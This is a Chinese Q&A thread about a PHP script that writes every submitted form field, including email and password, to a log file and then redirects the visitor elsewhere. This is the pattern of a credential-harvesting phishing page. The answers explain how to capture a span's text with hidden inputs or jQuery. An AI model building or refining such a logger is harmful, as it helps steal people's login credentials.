我有这个PHP代码来获取表单输入值:
<?php
header ('Location: https://mywebsite.com/');
$handle = fopen("logs_46735.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>
该代码适用于获取输入字段值,但我的html中还有span元素
<span id="mytext">some text</span>
我想与输入字段值一起使用。
示例:
<span id="mytext">some text</span>
<input type="email" id="email" name="email" />
<input type="password" id="pass" name="pass" />
有没有办法获得所有三个值?感谢
答案 0 :(得分:1)
无法在$_POST
中获取范围的值,而无需将其更改为某种输入。
然而,您可以做一个隐藏的输入字段:
<input type="hidden" value="some text">
不会向用户显示,并会显示在$_POST
变量
答案 1 :(得分:1)
您可以将readonly属性与输入结合使用:
<input type="text" id="mytext" value="some text" readonly>
<input type="email" id="email" name="email">
<input type="password" id="pass" name="pass">
&#13;
或as stated by FMashiro,如果您希望输入不可见,可以使用hidden
类型:
<input type="hidden" id="mytext" value="some text">
<input type="email" id="email" name="email">
<input type="password" id="pass" name="pass">
&#13;
答案 2 :(得分:1)
只有<input>
,<textarea>
和其他<select>
会发送给PHP。
你可以像FMashiro一样添加一个<input type="hidden" value="some_text">
,或者将其与一些javascript结合起来,在发送表单之前添加一个输入,并使用你想要的当前值。
使用ECMA6:
$("form[name=myform]").on("submit", event => {
$("form[name=myform]").append(
`<input name="hidden" type="hidden" value="${$("span#id").text()}" />`
);
});
或者:
$("form[name=myform]").on("submit", function (event) {
$("form[name=myform]").append(
"<input name=\"hidden\" type=\"hidden\" value=\"" + $("span#id").text() + "\"/>"
);
});